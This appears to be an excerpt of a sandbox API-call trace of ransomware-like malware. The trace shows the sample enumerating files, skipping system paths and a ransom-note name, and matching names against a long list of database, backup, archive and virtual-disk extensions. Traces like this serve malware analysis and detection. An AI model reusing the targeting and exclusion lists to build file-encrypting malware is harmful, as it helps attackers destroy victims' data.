	[0036.744] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.744] lstrlenW (lpString="sql") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.744] lstrlenW (lpString="sqlite") returned 6
	[0036.744] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.744] lstrlenW (lpString="sqlite3") returned 7
	[0036.744] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.744] lstrlenW (lpString="sqlitedb") returned 8
	[0036.744] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.745] lstrlenW (lpString="xml") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.745] lstrlenW (lpString="$er") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.745] lstrlenW (lpString="4dd") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.745] lstrlenW (lpString="4dl") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.745] lstrlenW (lpString="^^^") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.745] lstrlenW (lpString="abs") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.745] lstrlenW (lpString="abx") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.745] lstrlenW (lpString="accdb") returned 5
	[0036.745] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.745] lstrlenW (lpString="accdc") returned 5
	[0036.745] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.745] lstrlenW (lpString="accde") returned 5
	[0036.745] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.745] lstrlenW (lpString="accdr") returned 5
	[0036.745] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.745] lstrlenW (lpString="accdt") returned 5
	[0036.745] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.745] lstrlenW (lpString="accdw") returned 5
	[0036.745] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.745] lstrlenW (lpString="accft") returned 5
	[0036.745] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.745] lstrlenW (lpString="adb") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.745] lstrlenW (lpString="adb") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.745] lstrlenW (lpString="ade") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.745] lstrlenW (lpString="adf") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.745] lstrlenW (lpString="adn") returned 3
	[0036.745] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.746] lstrlenW (lpString="adp") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.746] lstrlenW (lpString="alf") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.746] lstrlenW (lpString="ask") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.746] lstrlenW (lpString="btr") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.746] lstrlenW (lpString="cat") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.746] lstrlenW (lpString="cdb") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.746] lstrlenW (lpString="ckp") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.746] lstrlenW (lpString="cma") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.746] lstrlenW (lpString="cpd") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.746] lstrlenW (lpString="dacpac") returned 6
	[0036.746] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.746] lstrlenW (lpString="dad") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.746] lstrlenW (lpString="dadiagrams") returned 10
	[0036.746] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.746] lstrlenW (lpString="daschema") returned 8
	[0036.746] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.746] lstrlenW (lpString="db-journal") returned 10
	[0036.746] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.746] lstrlenW (lpString="db-shm") returned 6
	[0036.746] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.746] lstrlenW (lpString="db-wal") returned 6
	[0036.746] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.746] lstrlenW (lpString="dbc") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.746] lstrlenW (lpString="dbs") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.746] lstrlenW (lpString="dbt") returned 3
	[0036.746] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.747] lstrlenW (lpString="dbv") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.747] lstrlenW (lpString="dbx") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.747] lstrlenW (lpString="dcb") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.747] lstrlenW (lpString="dct") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.747] lstrlenW (lpString="dcx") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.747] lstrlenW (lpString="ddl") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.747] lstrlenW (lpString="dlis") returned 4
	[0036.747] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.747] lstrlenW (lpString="dp1") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.747] lstrlenW (lpString="dqy") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.747] lstrlenW (lpString="dsk") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.747] lstrlenW (lpString="dsn") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.747] lstrlenW (lpString="dtsx") returned 4
	[0036.747] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.747] lstrlenW (lpString="dxl") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.747] lstrlenW (lpString="eco") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.747] lstrlenW (lpString="ecx") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.747] lstrlenW (lpString="edb") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.747] lstrlenW (lpString="epim") returned 4
	[0036.747] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.747] lstrlenW (lpString="fcd") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.747] lstrlenW (lpString="fdb") returned 3
	[0036.747] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.747] lstrlenW (lpString="fic") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.748] lstrlenW (lpString="flexolibrary") returned 12
	[0036.748] lstrlenW (lpString="fm5") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.748] lstrlenW (lpString="fmp") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.748] lstrlenW (lpString="fmp12") returned 5
	[0036.748] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.748] lstrlenW (lpString="fmpsl") returned 5
	[0036.748] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.748] lstrlenW (lpString="fol") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.748] lstrlenW (lpString="fp3") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.748] lstrlenW (lpString="fp4") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.748] lstrlenW (lpString="fp5") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.748] lstrlenW (lpString="fp7") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.748] lstrlenW (lpString="fpt") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.748] lstrlenW (lpString="frm") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.748] lstrlenW (lpString="gdb") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.748] lstrlenW (lpString="gdb") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.748] lstrlenW (lpString="grdb") returned 4
	[0036.748] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.748] lstrlenW (lpString="gwi") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.748] lstrlenW (lpString="hdb") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.748] lstrlenW (lpString="his") returned 3
	[0036.748] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.748] lstrlenW (lpString="ib") returned 2
	[0036.748] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.748] lstrlenW (lpString="idb") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.749] lstrlenW (lpString="ihx") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.749] lstrlenW (lpString="itdb") returned 4
	[0036.749] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.749] lstrlenW (lpString="itw") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.749] lstrlenW (lpString="jet") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.749] lstrlenW (lpString="jtx") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.749] lstrlenW (lpString="kdb") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.749] lstrlenW (lpString="kexi") returned 4
	[0036.749] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.749] lstrlenW (lpString="kexic") returned 5
	[0036.749] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.749] lstrlenW (lpString="kexis") returned 5
	[0036.749] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.749] lstrlenW (lpString="lgc") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.749] lstrlenW (lpString="lwx") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.749] lstrlenW (lpString="maf") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.749] lstrlenW (lpString="maq") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.749] lstrlenW (lpString="mar") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.749] lstrlenW (lpString="marshal") returned 7
	[0036.749] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.749] lstrlenW (lpString="mas") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.749] lstrlenW (lpString="mav") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.749] lstrlenW (lpString="maw") returned 3
	[0036.749] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.749] lstrlenW (lpString="mdbhtml") returned 7
	[0036.750] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.750] lstrlenW (lpString="mdn") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.750] lstrlenW (lpString="mdt") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.750] lstrlenW (lpString="mfd") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.750] lstrlenW (lpString="mpd") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.750] lstrlenW (lpString="mrg") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.750] lstrlenW (lpString="mud") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.750] lstrlenW (lpString="mwb") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.750] lstrlenW (lpString="myd") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.750] lstrlenW (lpString="ndf") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.750] lstrlenW (lpString="nnt") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.750] lstrlenW (lpString="nrmlib") returned 6
	[0036.750] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.750] lstrlenW (lpString="ns2") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.750] lstrlenW (lpString="ns3") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.750] lstrlenW (lpString="ns4") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.750] lstrlenW (lpString="nsf") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.750] lstrlenW (lpString="nv") returned 2
	[0036.750] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.750] lstrlenW (lpString="nv2") returned 3
	[0036.750] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.750] lstrlenW (lpString="nwdb") returned 4
	[0036.750] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.750] lstrlenW (lpString="nyf") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.751] lstrlenW (lpString="odb") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.751] lstrlenW (lpString="odb") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.751] lstrlenW (lpString="oqy") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.751] lstrlenW (lpString="ora") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.751] lstrlenW (lpString="orx") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.751] lstrlenW (lpString="owc") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.751] lstrlenW (lpString="p96") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.751] lstrlenW (lpString="p97") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.751] lstrlenW (lpString="pan") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.751] lstrlenW (lpString="pdb") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.751] lstrlenW (lpString="pdm") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.751] lstrlenW (lpString="pnz") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.751] lstrlenW (lpString="qry") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.751] lstrlenW (lpString="qvd") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.751] lstrlenW (lpString="rbf") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.751] lstrlenW (lpString="rctd") returned 4
	[0036.751] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.751] lstrlenW (lpString="rod") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.751] lstrlenW (lpString="rodx") returned 4
	[0036.751] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.751] lstrlenW (lpString="rpd") returned 3
	[0036.751] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.752] lstrlenW (lpString="rsd") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.752] lstrlenW (lpString="sas7bdat") returned 8
	[0036.752] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.752] lstrlenW (lpString="sbf") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.752] lstrlenW (lpString="scx") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.752] lstrlenW (lpString="sdb") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.752] lstrlenW (lpString="sdc") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.752] lstrlenW (lpString="sdf") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.752] lstrlenW (lpString="sis") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.752] lstrlenW (lpString="spq") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.752] lstrlenW (lpString="te") returned 2
	[0036.752] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.752] lstrlenW (lpString="teacher") returned 7
	[0036.752] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.752] lstrlenW (lpString="tmd") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.752] lstrlenW (lpString="tps") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.752] lstrlenW (lpString="trc") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.752] lstrlenW (lpString="trc") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.752] lstrlenW (lpString="trm") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.752] lstrlenW (lpString="udb") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.752] lstrlenW (lpString="udl") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.752] lstrlenW (lpString="usr") returned 3
	[0036.752] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.752] lstrlenW (lpString="v12") returned 3
	[0036.753] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.753] lstrlenW (lpString="vis") returned 3
	[0036.753] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.753] lstrlenW (lpString="vpd") returned 3
	[0036.753] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.753] lstrlenW (lpString="vvv") returned 3
	[0036.753] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.753] lstrlenW (lpString="wdb") returned 3
	[0036.753] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.753] lstrlenW (lpString="wmdb") returned 4
	[0036.753] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.753] lstrlenW (lpString="wrk") returned 3
	[0036.753] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.753] lstrlenW (lpString="xdb") returned 3
	[0036.753] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.753] lstrlenW (lpString="xld") returned 3
	[0036.753] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.753] lstrlenW (lpString="xmlff") returned 5
	[0036.753] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.753] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".") returned 1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="..") returned 1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="windows") returned -1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="bootmgr") returned 1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="temp") returned -1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="pagefile.sys") returned -1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="boot") returned 1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ids.txt") returned -1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ntuser.dat") returned -1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="perflogs") returned -1
	[0036.753] lstrcmpiW (lpString1="Desktop.lnk", lpString2="MSBuild") returned -1
	[0036.753] lstrlenW (lpString="Desktop.lnk") returned 11
	[0036.753] lstrlenW (lpString="C:\\Users\\Default\\Links\\desktop.ini") returned 34
	[0036.753] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Desktop.lnk" | out: lpString1="Desktop.lnk") returned="Desktop.lnk"
	[0036.754] lstrlenW (lpString="Desktop.lnk") returned 11
	[0036.754] lstrlenW (lpString="Apollon865") returned 10
	[0036.754] lstrcmpiW (lpString1="esktop.lnk", lpString2="Apollon865") returned 1
	[0036.754] lstrlenW (lpString=".dll") returned 4
	[0036.754] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".dll") returned 1
	[0036.754] lstrlenW (lpString=".lnk") returned 4
	[0036.754] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".lnk") returned 1
	[0036.754] lstrlenW (lpString=".ini") returned 4
	[0036.754] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".ini") returned 1
	[0036.754] lstrlenW (lpString=".sys") returned 4
	[0036.754] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".sys") returned 1
	[0036.754] lstrlenW (lpString="Desktop.lnk") returned 11
	[0036.754] lstrlenW (lpString="bak") returned 3
	[0036.754] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0036.754] lstrlenW (lpString="ba_") returned 3
	[0036.754] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0036.754] lstrlenW (lpString="dbb") returned 3
	[0036.754] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0036.754] lstrlenW (lpString="vmdk") returned 4
	[0036.755] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0036.755] lstrlenW (lpString="rar") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0036.755] lstrlenW (lpString="zip") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0036.755] lstrlenW (lpString="tgz") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0036.755] lstrlenW (lpString="vbox") returned 4
	[0036.755] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0036.755] lstrlenW (lpString="vdi") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0036.755] lstrlenW (lpString="vhd") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0036.755] lstrlenW (lpString="vhdx") returned 4
	[0036.755] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0036.755] lstrlenW (lpString="avhd") returned 4
	[0036.755] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0036.755] lstrlenW (lpString="db") returned 2
	[0036.755] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0036.755] lstrlenW (lpString="db2") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0036.755] lstrlenW (lpString="db3") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0036.755] lstrlenW (lpString="dbf") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0036.755] lstrlenW (lpString="mdf") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0036.755] lstrlenW (lpString="mdb") returned 3
	[0036.755] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0036.756] lstrlenW (lpString="sql") returned 3
	[0036.756] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0036.756] lstrlenW (lpString="sqlite") returned 6
	[0036.756] lstrcmpiW (lpString1="op.lnk", lpString2="sqlite") returned -1
	[0036.756] lstrlenW (lpString="sqlite3") returned 7
	[0036.756] lstrcmpiW (lpString1="top.lnk", lpString2="sqlite3") returned 1
	[0036.756] lstrlenW (lpString="sqlitedb") returned 8
	[0036.756] lstrcmpiW (lpString1="ktop.lnk", lpString2="sqlitedb") returned -1
	[0036.756] lstrlenW (lpString="xml") returned 3
	[0036.756] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0036.756] lstrlenW (lpString="$er") returned 3
	[0036.756] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0036.756] lstrlenW (lpString="4dd") returned 3
	[0036.756] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0036.756] lstrlenW (lpString="4dl") returned 3
	[0036.756] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0036.756] lstrlenW (lpString="^^^") returned 3
	[0036.756] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0036.756] lstrlenW (lpString="abs") returned 3
	[0036.756] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0036.756] lstrlenW (lpString="abx") returned 3
	[0036.756] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0036.756] lstrlenW (lpString="accdb") returned 5
	[0036.756] lstrcmpiW (lpString1="p.lnk", lpString2="accdb") returned 1
	[0036.756] lstrlenW (lpString="accdc") returned 5
	[0036.756] lstrcmpiW (lpString1="p.lnk", lpString2="accdc") returned 1
	[0036.756] lstrlenW (lpString="accde") returned 5
	[0036.756] lstrcmpiW (lpString1="p.lnk", lpString2="accde") returned 1
	[0036.756] lstrlenW (lpString="accdr") returned 5
	[0036.756] lstrcmpiW (lpString1="p.lnk", lpString2="accdr") returned 1
	[0036.756] lstrlenW (lpString="accdt") returned 5
	[0036.756] lstrcmpiW (lpString1="p.lnk", lpString2="accdt") returned 1
	[0036.756] lstrlenW (lpString="accdw") returned 5
	[0036.756] lstrcmpiW (lpString1="p.lnk", lpString2="accdw") returned 1
	[0036.756] lstrlenW (lpString="accft") returned 5
	[0036.756] lstrcmpiW (lpString1="p.lnk", lpString2="accft") returned 1
	[0036.756] lstrlenW (lpString="adb") returned 3
	[0036.756] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0036.756] lstrlenW (lpString="adb") returned 3
	[0036.757] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0036.757] lstrlenW (lpString="ade") returned 3
